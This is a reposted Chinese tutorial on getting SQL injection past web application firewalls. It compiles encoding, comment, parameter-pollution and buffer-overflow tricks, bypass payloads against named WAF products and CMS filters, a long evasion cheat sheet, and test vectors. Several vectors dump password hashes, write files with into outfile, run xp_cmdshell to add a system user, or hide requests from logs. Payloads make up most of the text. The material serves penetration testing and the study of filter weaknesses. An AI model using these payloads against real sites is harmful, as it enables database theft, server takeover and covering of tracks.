<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/tips/968

    知己知彼百戰不殆 --孫子兵法

    [目錄]

    0x00 前言 
    0x01 WAF的常見特征 
    0x02 繞過WAF的方法 
    0x03 SQLi Filter的實現及Evasion 
    0x04 延伸及測試向量示例 
    0x05 本文小結 
    0x06 參考資料 
    

    0x00 前言


    筆者前幾天在做測試時輸入攻擊向量后頁面發生了重定向甚至異常輸入也是重定向懷疑其中有WAF在作怪。之前對WAF接觸比較少純粹是新手趁此科普了一下并查閱了一些繞過WAF的方法。所找到的資料中主要分為兩類SQL注入和XSS繞過筆者SQL注入同樣是新手因此集中了不少資料并進行整理和總結因此有本文的產生。

    目前能看到的繞過WAF的SQL注入技術大致有八、九種但是完整的、詳細的內容卻分布在互聯網各個角落。另外我們談繞過WAF其實也是談如何繞過過濾機制如果在討論bypass技術的時候明確一下現有的一些filter的實現及其evasion對于筆者這樣的初學者來說是不是更好還有就是如果在文章后面可以提供一些測試向量提供思路和參考雖然內容看起來很雜但是也會比較方便呢?抱著這些想法盡管前人的分享已經比較充分了還是壯著膽自己進行總結這樣更能適應自己的需求也可能更加適合一些朋友的需求。

    本文所討論的技術大都幾年以前就已經存在了不能保證每種方法在實際測試中都能生效另外為簡便起見筆者對形如http://www.site.com的URL約定為z.com。

    0x01?WAF的常見特征


    之所以要談到WAF的常見特征是為了更好的了解WAF的運行機制這樣就能增加幾分繞過的機會了。本文不對WAF做詳細介紹只談及幾點相關的。

    總體來說WAF(Web Application Firewall)的具有以下四個方面的功能

    1. 審計設備用來截獲所有HTTP數據或者僅僅滿足某些規則的會話 
    2. 訪問控制設備用來控制對Web應用的訪問既包括主動安全模式也包括被動安全模式 
    3. 架構/網絡設計工具當運行在反向代理模式他們被用來分配職能集中控制虛擬基礎結構等。 
    4. WEB應用加固工具這些功能增強被保護Web應用的安全性它不僅能夠屏蔽WEB應用固有弱點而且能夠保護WEB應用編程錯誤導致的安全隱患。 
    

    WAF的常見特點

    異常檢測協議拒絕不符合HTTP標準的請求 
    增強的輸入驗證代理和服務端的驗證而不只是限于客戶端驗證 
    白名單&黑名單白名單適用于穩定的We應用黑名單適合處理已知問題 
    基于規則和基于異常的保護基于規則更多的依賴黑名單機制基于異常更為靈活 
    狀態管理重點進行會話保護 
    另還有Coikies保護、抗入侵規避技術、響應監視和信息泄露保護等 
    

    如果是對于掃描器WAF有其識別之道

    掃描器識別主要由以下幾點

    1) 掃描器指紋(head字段/請求參數值)以wvs為例會有很明顯的Acunetix在內的標識 
    2) ?單IP+ cookie某時間段內觸發規則次數 
    3)? 隱藏的鏈接標簽等(<a>) 
    4) ?Cookie植入 
    5) ?驗證碼驗證掃描器無法自動填充驗證碼 
    6) ?單IP請求時間段內Webserver返回http狀態404比例?掃描器探測敏感目錄基于字典找不到文件則返回404 
    

    0x02 繞過WAF的方法


    從筆者目前找到的資料來看可以把這些繞過waf的技術分為9類包含從初級到高級技巧

    a) 大小寫混合 
    b)替換關鍵字 
    c)使用編碼 
    d)使用注釋 
    e)等價函數與命令 
    f)使用特殊符號 
    g)HTTP參數控制 
    h)緩沖區溢出 
    i)整合繞過 
    

    a) 大小寫繞過

    大小寫繞過用于只針對小寫或大寫的關鍵字匹配技術正則表達式/express/i 匹配時大小寫不敏感便無法繞過這是最簡單的繞過技術

    z.com/index.php?page_id=-15?uNIoN sELecT 1,2,3,4? 
    

    示例場景可能的情況為filter的規則大小寫敏感現在直接使用這種繞過技術成功的可能性已經不高了吧

    b)替換關鍵字

    這種情況下大小寫轉化無法繞過而且正則表達式會替換或刪除select、union這些關鍵字如果只匹配一次就很容易繞過

    z.com/index.php?page_id=-15?UNIunionON SELselectECT 1,2,3,4 
    

    替換關鍵字同樣是很基礎的技術也可以構造得更復雜SeLSeselectleCTecT關鍵要看正則表達式會進行幾次匹配處理了

    c)使用編碼

    1.URL編碼

    在Chrome中輸入一個鏈接非保留字的字符瀏覽器會對其URL編碼如空格變為%20、單引號%27、左括號%28、右括號%29

    普通的URL編碼可能無法實現繞過不過存在某種情況URL編碼只進行了一次解碼過濾可以用兩次編碼繞過

    page.php?id=1%252f%252a*/UNION%252f%252a/SELECT 
    

    2.十六進制編碼

    z.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4,SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
    

    示例代碼中前者是對單個字符十六進制編碼后者則是對整個字符串編碼對整個字符串編碼相對來說較少見一點

    3.Unicode編碼

    Unicode有所謂的標準編碼和非標準編碼假設我們用的utf-8為標準編碼那么西歐語系所使用的就是非標準編碼了

    看一下常用的幾個符號的一些Unicode編碼

    單引號:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
    
    空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
    
    左括號:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
    
    右括號:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
    

    舉例:

    ?id=10%D6'%20AND%201=2%23  
    
    SELECT '?'='A'; #1
    

    兩個示例中,前者利用雙字節繞過,比如對單引號轉義操作變成\',那么就變成了%D6%5C',%D6%5C構成了一個款字節即Unicode字節,單引號可以正常使用。

    第二個示例使用的是兩種不同編碼的字符的比較,它們比較的結果可能是True或者False,關鍵在于Unicode編碼種類繁多,基于黑名單的過濾器無法處理所以情況,從而實現繞過。

    另外平時聽得多一點的可能是utf-7的繞過,還有utf-16、utf-32的繞過,后者從成功的實現對google的繞過,有興趣的朋友可以去了解下。

    常見的編碼當然還有二進制、八進制,它們不一定都派得上用場,但后面會提到使用二進制的例子。

    d) 使用注釋

    看一下常見的用于注釋的符號有哪些

    //, -- , /**/, #, --+,-- ?-, ;--a 
    

    1.普通注釋

    z.com/index.php?page_id=-15?%55nION/**/%53ElecT 1,2,3,4
    'union%a0select pass from users# 
    

    /**/在構造的查詢語句中插入注釋規避對空格的依賴或關鍵字識別#、--+用于終結語句的查詢

    2.內聯注釋

    相比普通注釋內聯注釋用的更多/!content/只有MySQL會正常識別content的內容其他?

    index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3 
    ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4… 
    

    兩個示例中前者使用內聯注釋后者還用到了普通注釋。使用注釋一個很有用的做法便是對關鍵字的拆分要做到這一點后面討論的特殊符號也能實現當然前提是包括/、*在內的這些字符能正常使用。

    e)等價函數與命令

    有些函數或命令因其關鍵字被檢測出來而無法使用但是在很多情況下可以使用與之等價或類似的代碼替代其使用

    1.函數或變量

    hex()、bin() ==> ascii()
    sleep() ==>benchmark()
    concat_ws()==>group_concat()
    mid()、substr() ==> substring()
    @@user ==> user()
    @@datadir ==> datadir()
    

    舉例substring()和substr()無法使用時

    ?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74  
    

    或者

    substr((select 'password'),1,1) = 0x70 
    strcmp(left('password',1), 0x69) = 1 
    strcmp(left('password',1), 0x70) = 0 
    strcmp(left('password',1), 0x71) = -1 
    

    上述這幾個示例用于說明有時候當某個函數不能使用時還可以找到其他的函數替代其實現至于select、uinon、where等關鍵字被限制如何處理將在后面filter部分討論

    2.符號

    and和or有可能不能使用可以試下&&和||能不能用還有=不能使用的情況可以考慮嘗試<、>因為如果不小于又不大于那便是等于了

    再看一下用得很多的空格可以使用如下符號代替其使用

    %20 %09 %0a %0b %0c %0d %a0 /**/ 
    

    3.生僻函數

    MySQL/PostgreSQL支持XML函數

    Select UpdateXML('<script x=_></script> ',[email protected]/','src=//evil.com');
    ?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
    SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
    ?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
    

    MySQL、PostgreSQL、Oracle它們都有許多自己的函數基于黑名單的filter要想涵蓋這么多東西從實際上來說不太可能而且代價太大因此黑名單的確是更適合處理已知的情況

    f) 特殊符號

    這里我把非字母數字的字符都規在了特殊符號一類這些符號有特殊的含義和用法涉及信息量比前面提到的幾種都要多

    先看下drops上waf的繞過技巧一文使用的幾個例子

    1.使用反引號`,例如select `version()`,可以用來過空格和正則,特殊情況下還可以將其做注釋符用
    2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串連接的,”-”和”.”在此也用于連接,可以逃過空格和關鍵字過濾
    3.@符號,select@^1.from users; @[email protected]_name,[email protected],@@表示系統變量
    4.Mysql function() as xxx  也可不用as和空格   select-count(id)test from users;  //繞過空格限制
    

    可見使用這些字符的確是能做很多事也證實了那句老話只有想不到沒有做不到

    筆者搜羅了部分可能發揮大作用的字符(這里未包括'、*、/等在內考慮到前面已經出現較多次了)

    [email protected]%、()、[]、.、-、+ 、|、%00
    

    舉例

    關鍵字拆分

    'se'+'lec'+'t'
    %S%E%L%E%C%T 1
    1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell "net user"')
    

    !和()' or --+2=- -!!!'2

    id=1+(UnI)(oN)+(SeL)(EcT)
    

    //有看到說Access中,”[]”用于表和列,”()”用于數值也可以做分隔

    本節最后再給出一些和這些字符多少有點關系的操作符供參考

    > > , <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
    

    使用這些"特殊符號"實現繞過是一件很細微的事情一方面各數據庫對符號的處理是不盡相同的另一方面你得充分了解這些符號的特性和使用方法才能會考慮利用其實現繞過

    g) HTTP參數控制

    這里HTTP參數控制除了對查詢語句的參數進行篡改還包括HTTP方法、HTTP頭的控制

    1.HPP(HTTP Parameter Polution)

    舉例

    /?id=1;select+1&id=2,3+from+users+where+id=1—
    /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
    

    HPP又稱做重復參數污染最簡單的就是?uid=1&uid=2&uid=3對于這種情況不同的Web服務器處理方式如下

    2014022613524357191.jpg

    具體WAF如何處理要看其設置的規則不過就示例中感覺最后一個來看有較大可能繞過

    2.HPF(HTTP Parameter Fragment)

    這種方法是HTTP分割注入同CRLF略有相似之處(使用控制字符%0a、%0d等換行)

    舉例 

    /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
    select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—
    

    看完上面兩個示例發現和HPP最后一個示例很像不同之處在于參數不一樣這里是在不同的參數之間進行分割結果到了數據庫執行查詢時再合并語句。

    3.HPC(HTTP Parameter Contamination)

    這一概念見于Beyond SQLi: Obfuscate and Bypass這里Contamination意為污染

    RFC2396定義了如下一些字符

    Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()  
    Reserved : ; / ? : @ & = + $ ,  
    Unwise : { } | \ ^ [ ] `
    

    不同的Web服務器處理處理構造得特殊請求時有不同的邏輯

    2014022613570037001.jpg

    以魔術字符%為例Asp/Asp.net會受到影響

    2014022613574878521.jpg

    h) 緩沖區溢出(Advanced)

    緩沖區溢出用于對付WAF在內的軟件本身有不少WAF是C語言寫的而C語言自身沒有緩沖區保護機制因此如果WAF在處理測試向量時超出了其緩沖區長度就會引發bug從而實現繞過

    舉例

    ?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
    

    示例0xA*1000指0xA后面”A"重復1000次一般來說對應用軟件構成緩沖區溢出都需要較大的測試長度這里1000只做參考也許在有些情況下可能不需要這么長也能溢出

    i) 整合繞過

    整合的意思是結合使用前面談到的各種繞過技術單一的技術可能無法繞過過濾機制但是多種技術的配合使用成功的可能性就會增加不少了。這一方面來說關系到總體與局部和另一方面則是多種技術的使用創造了更多的可能性組合除非每一種技術單獨都無法使用否則它們能產生比自身大得多的能量。

    舉例

    z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
    id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
    ?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--  
    

    0x03 SQLi Filter的實現及Evasion


    SQL Injection時用得最多的一些關鍵字如下

    and, or, union, where, limit, group by, select, ', hex, substr, white space
    

    對它們的檢測完整正則表達式為

    preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
    

    Filter Evasion在Beyond SQLi: Obfuscate and BypassMysql注入科普可以看到比較詳細的解釋

    這里只做簡化的說明其應對方式依次為?

    ***note***:"=>"左邊表示會被Filtered的語句,"=>"右邊表示成功Bypass的語句,左邊標紅的為被Filtered的關鍵字,右邊標藍的為替代其功能的函數或關鍵字
    
    and => &&   or => ||
    
    union select user, password from users   =>  1 || (select user from users where user_id = 1) = 'admin
    
    1 || (select user from users where user_id = 1) = 'admin'  =>  1 || (select user from users limit 1) = 'admin
    
    1 || (select user from users limit 1) = 'admin' =>  1 || (select user from users group by user_id having user_id = 1) = 'admin'
    1 || (select user from users group by user_id having user_id = 1) = 'admin' => 1 || (select substr(group_concat(user_id),1,1) user from users )=1
    1 || (select substr(group_concat(user_id),1,1) user from users) = 1 =>  1 || 1 = 1 into outfile 'result.txt' 或者  1 || substr(user,1,1) = 'a' 
    1 || (select substr(group_concat(user_id),1,1) user from users) = 1  =>  1 || user_id is not null 或者 1 || substr(user,1,1) = 0x61
       或者 1 || substr(user,1,1) = unhex(61)  // ' Filtered
    1 || substr(user,1,1) = unhex(61)  =>   1 || substr(user,1,1) = lower(conv(11,10,36))
    1 || substr(user,1,1) = lower(conv(11,10,36)) =>  1 || lpad(user,7,1)
    1 || lpad(user,7,1)  =>  1%0b||%0blpad(user,7,1)  // ' ' Filtered
    

    從上面給出的示例來看沒有絕對的過濾即便平時構建一個正常SQL語句的全部關鍵字都被過濾了我們也還是能找到Bypass的方法。普世的陽光和真理尚且照不到每一個角落人為構建出來的一個工具WAF就更加不可能盡善盡美了。我們可以相信WAF能為我們抵擋很多攻擊但是絕不能百分之一百的依賴它就算它有著世上最為健全的規則它本身也是會存在缺陷的。

    從前面到現在基本上每條注入語句中都有數字如果某查詢的數據類型為字符串、或者做了嚴格限制數字要被和諧掉這就有點棘手了不過辦法總是有的

    2014022614064414576.png

    2014022614071092308.png

    上面兩張圖第一張是不能使用數字時通過使用數學函數得到某個數字的值第二張則是這些數字對應的36進制的值因此有時候一個很簡單的表達式可能會很復雜或者非常長其實際就是計算mod(a,b)

    (mod(length(trim(leading(concat(lower(conv(version()*(true+pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(), pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))),conv(version()*(true+pi()),pi()*pi(),pow(pi(),pi())),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi()*version())+true,pi()*pi(),pow(pi(), pi()))),lower(conv(ceil((pi()+ceil(pi()))*pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi())*ceil(pi()+pi()),pi()*pi(),pow(pi(),pi()))),conv(ceil(pi()*version()),pi()*pi(),pow(pi(),pi())),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(version()*version()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi())))))from(pass))),length(pass))
    

    0x04 延伸及測試向量示例


    a) CMS繞過實例
    b) WAF繞過示例
    c) SQLi Filter Evasion Cheat sheet
    d) 測試向量
    

    a) Web應用繞過示例

    1. e107 CMS

    $inArray = array("'", ";", "/**/", "/UNION/", "/SELECT/", "AS "); 
    if (strpos($_SERVER['PHP_SELF'], "trackback") === false) { 
    foreach($inArray as $res) { 
    if(stristr($_SERVER['QUERY_STRING'], $res)) { 
    die("Access denied."); 
    }}}
    

    Bypass:

    vuln.php/trackback?inject=UNI%6fN SELECT
    

    2.?PHP-Nuke CMS

    if(isset($_SERVER['QUERY_STRING']) 
    && (!stripos($_SERVER['QUERY_STRING'], "ad_click"))) { 
    $queryString = $_SERVER['QUERY_STRING']; 
    if ( stripos($queryString, '%20union%20') 
    OR stripos($queryString, '/*') 
    OR stripos($queryString, '*/union/*') 
    OR stripos($queryString, '+union+') 
    OR stripos($queryString, 'concat')) { die('Illegal Operation'); }
    

    Bypass:

    vuln.php?inject=%a0UNI%6fN(SELECT'ad_click'
    

    3.?TYPO3 CMS

    $val = str_replace(array("'"," ","("),"",$arrFields[$fname]); // basic defence
    

    Bypass:

    vuln.php?id=1/**/union%a0select/**/1,pass,3`a`from`users`
    

    b) WAF繞過示例

    1.?ModSecurity CRS 2.0.9?

    1'and 0x61=(/*foo*/SELECT mid(pass,1,1) from users limit 1,1)and'1
    1'union/*!select*/pass,load_file(0x123456789)from users-- -
    

    2.?PHPIDS 0.6.4?

    [email protected]:=0x1 div'1a false != true   //auth bypass
    foo'div count(select`pass`from(users)where mid(pass,1,1)rlike lower(conv(10,pi()*pi(),pi()*pi())) )-'0
    a'in(true) and false */*!(true)union#newline select pass`alias`from users where true*/* n'1
    

    3.?GreenSQL 1.3.0?

    檢測關鍵字:union, information_schema, into outfile, current_user, current_date, version

    檢測函數:mid(), substring(), substr(), load_file(), benchmark(), user(), database(), version()

    adm' 'in' or 1='1        // auth bypass
    '-(1)union(select table_name,load_file('/tmp/test'),@@version
    from /*! information_schema.tables */);%00    //select union
    '-'' into%a0outfile '/tmp/test   //write to file
    

    c)?SQLi Filter Evasion Cheat sheet

    #注釋
    ' or 1=1#
    ' or 1=1/* (MySQL < 5.1)
    ' or 1=1;%00
    ' or 1=1 union select 1,2 as `
    ' or#newline
    ' /*!50000or*/1='1
    ' /*!or*/1='1
    
    #前綴
    + – ~ !
    ' or –+2=- -!!!'2
    
    #操作符:
    ^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL
    
    #空格
    %20 %09 %0a %0b %0c %0d %a0 /**/
    'or+(1)sounds/**/like"1"–%a0-
    'union(select(1),tabe_name,(3)from`information_schema`.`tables`)#
    
    #有引號的字符串
    SELECT 'a'
    SELECT "a"
    SELECT n'a'
    SELECT b'1100001′
    SELECT _binary'1100001′
    SELECT x'61′
    
    #沒有引號的字符串
     'abc' = 0×616263
      ' and substr(data,1,1) = 'a'#
      ' and substr(data,1,1) = 0x61 # 0x6162
      ' and substr(data,1,1) = unhex(61)    # unhex(6162)
      ' and substr(data,1,1) = char(97  )# char(97,98)
      ' and substr(data,1,1) = 'a'#
      ' and hex(substr(data,1,1)) = 61#
      ' and ascii(substr(data,1,1)) = 97#
      ' and ord(substr(data,1,1)) = 97# 
      ' and substr(data,1,1) = lower(conv(10,10,36))# 'a'
    
    #別名
    select pass as alias from users
    select pass`alias alias`from users
    
    #字型
    ' or true = '1 # or 1=1
    ' or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1
    ' or '1 # or true
    #操作符字型
    select * from users where 'a'='b'='c'
    select * from users where ('a'='b')='c'
    select * from users where (false)='c'
    
    #認真繞過'='
    select * from users where name = "="
    select * from users where false = "
    select * from users where 0 = 0
    select * from users where true#函數過濾器ascii (97)
    load_file/*foo*/(0×616263)
    
    #用函數構建字符串
    'abc' = unhex(616263)
    'abc' = char(97,98,99)
     hex('a') = 61
     ascii('a') = 97
     ord('a') = 97
    'ABC' = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))
    
    #特殊字符
      aes_encrypt(1,12) // 4鏷眥?"^z譎é蒃a
      des_encrypt(1,2) // 侴ò/鎦k
      @@ft_boolean_syntax // + -><()~*:""&|
      @@date_format // %Y-%m-%d
      @@innodb_log_group_home_dir // .\
    
    @@new: 0
    @@log_bin: 1
    #提取子字符串substr('abc',1,1) = 'a'
    substr('abc' from 1 for 1) = 'a'
    substring('abc',1,1) = 'a'
    substring('abc' from 1 for 1) = 'a'
    mid('abc',1,1) = 'a'
    mid('abc' from 1 for 1) = 'a'
    lpad('abc',1,space(1)) = 'a'
    rpad('abc',1,space(1)) = 'a'
    left('abc',1) = 'a'
    reverse(right(reverse('abc'),1)) = 'a'
    insert(insert('abc',1,0,space(0)),2,222,space(0)) = 'a'
    space(0) = trim(version()from(version()))
    
    #搜索子字符串
    locate('a','abc')
    position('a','abc')
    position('a' IN 'abc')
    instr('abc','a')
    substring_index('ab','b',1)
    
    #分割字符串
    length(trim(leading 'a' FROM 'abc'))
    length(replace('abc', 'a', "))
    
    #比較字符串
    strcmp('a','a')
    mod('a','a')
    find_in_set('a','a')
    field('a','a')
    count(concat('a','a'))
    
    #字符串長度
    length()
    bit_length()
    char_length()
    octet_length()
    bit_count()
    
    #關鍵字過濾
    Connected keyword filtering
    (0)union(select(table_name),column_name,…
    0/**/union/*!50000select*/table_name`foo`/**/…
    0%a0union%a0select%09group_concat(table_name)….
    0′union all select all`table_name`foo from`information_schema`. `tables`
    
    #控制流
    case 'a' when 'a' then 1 [else 0] end
    case when 'a'='a' then 1 [else 0] end
    if('a'='a',1,0)
    ifnull(nullif('a','a'),1)
    

    d) 測試向量

    %55nion(%53elect 1,2,3)-- -
    
    +union+distinctROW+select+
    /**//*!12345UNION SELECT*//**/
    /**/UNION/**//*!50000SELECT*//**/
    /*!50000UniON SeLeCt*/
    +#uNiOn+#sEleCt
    +#1q%0AuNiOn all#qa%0A#%0AsEleCt
    /*!u%6eion*/ /*!se%6cect*/
    +un/**/ion+se/**/lect
    uni%0bon+se%0blect
    %2f**%2funion%2f**%2fselect
    union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
    REVERSE(noinu)+REVERSE(tceles)
    /*--*/union/*--*/select/*--*/
    union (/*!/**/ SeleCT */ 1,2,3)
    /*!union*/+/*!select*/
    union+/*!select*/
    /**//*!union*//**//*!select*//**/
    /*!uNIOn*/ /*!SelECt*/
    +union+distinctROW+select+
    -15+(uNioN)+(sElECt)
    -15+(UnI)(oN)+(SeL)(ecT)+
    
    id=1+UnIOn/**/SeLect 1,2,3—
    id=1+UNIunionON+SELselectECT 1,2,3—
    id=1+/*!UnIOn*/+/*!sElEcT*/ 1,2,3—
    id=1 and (select 1)=(Select 0xAA 1000 more A’s)+UnIoN+SeLeCT 1,2,3—
    id=1+un/**/ion+sel/**/ect+1,2,3--
    id=1+/**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3
    id=1+/**/union/*&id=*/select/*&id=*/column/*&id=*/from/*&id=*/table--
    id=1+/**/union/*&id=*/select/*&id=*/1,2,3--
    id=-1 and (select 1)=(Select 0xAA*1000) /*!UNION*/ /*!SELECT*//**/1,2,3,4,5,6—x
    
    /**/union/*&id=*/select/*&id=*/column/*&id=*/from/*&id=*/table--
    /*!union*/+/*!select*/+1,2,3—
    /*!UnIOn*//*!SeLect*/+1,2,3—
    un/**/ion+sel/**/ect+1,2,3—
    /**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/1,2,3—
    ID=66+UnIoN+aLL+SeLeCt+1,2,3,4,5,6,7,(SELECT+concat(0x3a,id,0x3a,password,0x3a)+FROM+information_schema.columns+WHERE+table_schema=0x6334706F645F666573746976616C5F636D73+AND+table_name=0x7573657273),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--
    
    ?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
    index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123
    ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,
    ?id=15+/*!UnIoN*/+/*!aLl*/+/*!SeLeCt*/+1,version(),3,4,5,6,7--
    id=1/*!limit+0+union+select+concat_ws(0×3a,table_name,column_name)+from+information_schema.columns*/
    
    id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(TABLE_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.TABLES-- 
    id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
    
    SELECT*FROM(test)WHERE(name)IN(_ucs2 0x01df010e004d00cf0148);
    SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) in xml way
    
    select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a')
    select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]'
    select user from mysql.user where user = 'user' OR mid(password,1,1) like '*'
    select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]'
    select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42
    
    /?id=1+union+(select'1',concat(login,hash)from+users)
    /?id=(1)union(((((((select(1),hex(hash)from(users))))))))
    
    ?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ ?net user lucifer UrWaFisShiT? /*&id=1*/ --
    id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)
    id=10 and 1=0/(select top 1 table_name from information_schema.tables)
    
    id=-725+UNION+SELECT+1,GROUP_CONCAT(id,0x3a,login,0x3a,password,0x3a,email,0x3a,access_level),3,4,5+FROM+Admin--
    id=-725+UNION+SELECT+1,version(),3,4,5--sp_password //使用sp_password隱藏log中的請求
    

    0x05 本文小結


    本文內容到這里內容差不多就算是完了回顧一下本文內容主要從三個方面展開繞過WAF的方法、Filter的實現機制和Evasion措施、測試示例和向量。本文的第二部分”繞過WAF的方法“花了較多時間需要參照已有的總結進行自己的總結并給出示例第三、四兩部分更多的是粘貼已收集到的向量因此較快。本文內容和篇幅較多涉及信息量很大但是仍有許多不完善或遺漏的地方。

    最后再說一下昨天晚上和園長談及本文內容時他表示像緩沖區溢出繞過waf這些針對的是傳統的waf而且關鍵字替換也不僅僅是處理select這么簡單現在一種很重要的處理方式是編碼筆者聽后確實感覺受教了。需要進一步學習的還有很多很多云waf和傳統waf之間千絲萬縷的關系也還有待進一步去了解。前幾天朋友說前幾天他現在過濾都不太使用正則表達式了那樣效率太低使用抽象語法樹AST檢測SQL注入曾經以為只有學院派會使用的現在已經發生在身邊了。

    筆者作為新手抱著學習的態度寫出本文希望懂這方面的朋友前輩可以多指點。

    0x06 參考資料


    WAF介紹http://www.nsfocus.com/waf/jishu/js_01.html

    WAF實現掃描器識別http://drops.wooyun.org/tips/730 

    WAF的繞過技巧http://drops.wooyun.org/tips/132

    繞過waf的筆記http://fuck.0day5.com/?p=622

    SQL注入中的WAF繞過技術http://netsecurity.51cto.com/art/201301/376869.htm

    淺談WAF的繞過http://netsecurity.51cto.com/art/201212/374068.htm  

    SQL注入攻防入門詳解(MS SQL)http://www.2cto.com/Article/201211/165466.html ???

    Beyond SQLi: Obfuscate and Bypass http://www.exploit-db.com/papers/17934/

    從基礎到高級的waf繞過方法http://gnahackteam.wordpress.com/2012/07/06/basic-to-advanced-waf-bypassing-methods/ 

    Bypass WAFhttp://www.surfthecyber.com/2013/05/how-to-bypass-waf-web-application.html

    WAF Bypassing: SQL Injection (forbidden or not?)http://www.r00tsec.com/2011/07/sql-injection-bypass-waf.html

    WAF filter evasionhttp://sla.ckers.org/forum/read.php?24,33903

    http://em3rgency.com/sql-injection-filter-evasion/

    http://0haxor.blogspot.com/2012/08/waf-waf-bypassing.html

    http://kaoticcreations.blogspot.com/p/sql-injection-waf-bypassing.html

    http://kaoticcreations.blogspot.com/p/basic-sql-injection-101.html

    http://websec.files.wordpress.com/2010/11/sqli2.pdf

    http://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/

    97av